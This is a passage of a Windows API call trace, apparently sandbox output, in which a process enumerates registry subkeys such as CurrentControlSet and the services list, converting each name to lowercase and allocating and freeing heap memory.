0x21f2eb0 [0256.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0256.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.049] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0256.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0256.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.049] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0256.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0256.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.049] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0256.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0256.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.050] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0256.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0256.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.050] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0256.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0256.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0256.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.050] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0256.050] RegCloseKey (hKey=0x148) returned 0x0 [0256.050] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0256.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0256.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.051] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0256.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0256.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.051] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0256.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0256.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0256.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.051] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0256.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0256.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.051] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0256.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0256.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.052] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0256.052] RegCloseKey (hKey=0x154) returned 0x0 [0256.052] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0256.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0256.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.052] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0256.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0256.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1bf8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0256.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.052] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0256.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0256.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a48, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0256.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.053] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0256.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0256.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1bf8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0256.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.053] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0256.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0256.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a48, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0256.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.053] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0256.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0256.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1bf8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0256.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.054] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0256.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0256.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.054] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0256.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0256.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.054] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0256.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0256.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.054] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0256.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 